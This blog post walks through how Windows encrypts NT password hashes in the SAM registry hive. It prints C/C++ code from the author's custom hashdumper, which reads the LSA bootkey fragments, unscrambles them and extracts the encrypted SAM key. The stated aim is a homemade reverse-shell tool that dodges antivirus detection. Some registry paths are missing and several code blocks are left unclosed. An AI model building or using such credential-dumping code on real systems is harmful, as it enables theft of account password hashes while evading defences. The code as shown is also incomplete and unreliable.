NT hash encryption for modern windows


For the last couple of weeks i’ve been playing a lot with windows security. Specifically trying to create my own kind of meterpreter kind of reverse shell. One of the things i wanted to implement was a feature like mimikatz’s lsadump::sam or meterpreters “hashdump”.

I didn’t want to use either of those because they can be easily caught by antivirus so i thought “Why dont i just make it myself”

I quickly stumbled into the problem of resources. It was quite hard to find resources on this subject because most articles just said “use mimikatz, meterpreter, impacket” etc…

The only article i found was this one:


It was still majorly useful but i quickly realized that the algorithms it used was outdated.

Therefore i started reversing the source code of how other people did it. Specifically creddump7 has been majorly useful. Creddump is a program written in python that can dump the hashes from a locally saved SAM hive and SYSTEM hive. It was super useful because it was really easy to read and understand so i have basically based all my research and my code around that.

I’m hoping this post will serve as a guide to the encryption so you won’t have to read through source code to understand it :p

Btw i suck at crypto stuff so i don’t know on how any of the encryption algorithms used here works or what the parameters mean.

Overview of the encryption

NT hashes are stored in the SAM hive in the registry. Specifically in this path:


Under the user subkey are all the users on a system. The users are resembled by an RID that is represented by a hash value. For example the path to the administrator account on my machine looks like:


The nt hashes are first encrypted with a user specific key using the DES_ECB algorithm. This then gets encrypted with AES_CBC with the systems hashed bootkey as the key and as the IV value it uses the NT salt which is stored in the users registry key

The systems hashed bootkey

One of the first things you need to recover from the system is the hashed bootkey. The encrypted hashed bootkey can be recovered from this key:


This is decrypted using the bootkey of the system with AES_CBC. The bootkey is first scrambled and the split up into 4 different registry keys which are:


So to summarize

The scrambled bootkey is stored in 4 different registry keys

The bootkey is used to decrypt the hashed bootkey (this is what mimikatz calls the “samkey”)

The hashed bootkey is used to decrypt the encrypted nt hashes from the users registry key

Finally the encrypted hashes are decrypte via a user specific key

Getting the bootkey

The first step is to recover the systems bootkey. This key is split up into 4 different keys and the bootkey data is in the keys class

This code snippet from my custom hashdumper gets the class data from the 4 different registry keys and stores it in the buffer scrambledKey

    HKEY JDkey, Skew1key, GBGkey, Datakey;
    TCHAR JDclass[512];
    TCHAR Skew1class[512];
    TCHAR GBGclass[512];
    TCHAR Dataclass[512];
    char scrambledKey[33];

    RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\LSA\\JD", 0, KEY_READ, &JDkey);
    RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\LSA\\Skew1", 0, KEY_READ, &Skew1key);
    RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\LSA\\GBG", 0, KEY_READ, &GBGkey);
    RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Lsa\\Data", 0, KEY_READ, &Datakey);

        DWORD size = 512;

    RegQueryInfoKeyW(JDkey, JDclass, &size, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,NULL);
    size = 512;
    RegQueryInfoKeyW(Skew1key, Skew1class, &size, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    size = 512;
    RegQueryInfoKeyW(GBGkey, GBGclass, &size, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    size = 512;
    RegQueryInfoKeyW(Datakey, Dataclass, &size, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    size = 512;

        //add different keys to one key
    for (i=0; i < 8; i++) {
        scrambledKey[i] = (char)JDclass[i];
    for (i = 0; i < 8; i++) {
        scrambledKey[i+8] = (char)Skew1class[i];
    for (i = 0; i < 8; i++) {
        scrambledKey[i+16] = (char)GBGclass[i];
    for (i = 0; i < 8; i++) {
        scrambledKey[i+24] = (char)Dataclass[i];

To unscrable we first convert the 32 byte hex string to a 16 byte char buffer.

    hex2bin(scrambledKey, hexValueScramble);

Where hex2bin is a function i stole from stackoverflow.

Then we need to unscramble the bootkey. The scrambling process works that there is an array of indexes that looks like this:

    char deScrambleKey[16] = { 0x8, 0x5, 0x4, 0x2,
      0xb, 0x9, 0xd, 0x3,
      0x0, 0x6, 0x1, 0xc,
      0xe, 0xa, 0xf, 0x7 };

Where each index corresponds to where the value of our bootkey need to swap with So for example index 1 of our bootkey need to be at index 0x8 in our descrambled bootkey. Index 2 at index 0x5, Index 3 at index 0x4 etc… So our descrambling algorithm looks like:

    for (i = 0; i < 16; i++) {
        key[i] = hexValueScramble[deScrambleKey[i]];

Getting the hashed bootkey

The next step is getting the hashed bootkey of the system. This is used to decrypt the encrypted hashes.

The encrypted hashed bootkey is stored in this registry key under the value “F”:


It is decrypted using AES with the key being our bootkey we recovered in the last chapter. The IV value is stored in the same value of the registry key

The encrypted key is stored at offsets 0x88 to 0xA8 and the IV value is stored at offset 0x78 to 0x88

This code will first read the F value of the key “SAM\SAM\Domains\Account” and then store all the bytes into “valueData[512]”. It then reads the offsets mentioned before into encryptedKey[32] and IV[16]

    LPCTSTR keyName = L"SAM\\SAM\\Domains\\Account";
    LPCTSTR valueName = L"F";
    HKEY accountsKey;
    unsigned char valueData[512];
    DWORD dataSize = 512;
    unsigned char decryptedKey[32];
    unsigned char IV[16];
    unsigned char encryptedKey[32];

    int iResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, keyName, 0, KEY_READ, &accountsKey);

    if (iResult != ERROR_SUCCESS) {
        std::cout << "Error while opening Sam key" << std::endl;

    RegQueryValueEx(accountsKey, valueName, NULL, NULL, (LPBYTE)valueData, &dataSize);

    //Extract the encryptedKey from F
    for (int i = 0x88; i < 0xA8; i++) {
        encryptedKey[i-0x88] = *(valueData + i);
    //Extract IV value from F
    for (int i = 0x78; i < 0x88; i++) {
        IV[i-0x78] = *(valueData + i);


Then its just using your favorite AES library with the values:

Key = bootkey
Ciphertext = encryptedBootkey extracted from F
IV = IV extracted from F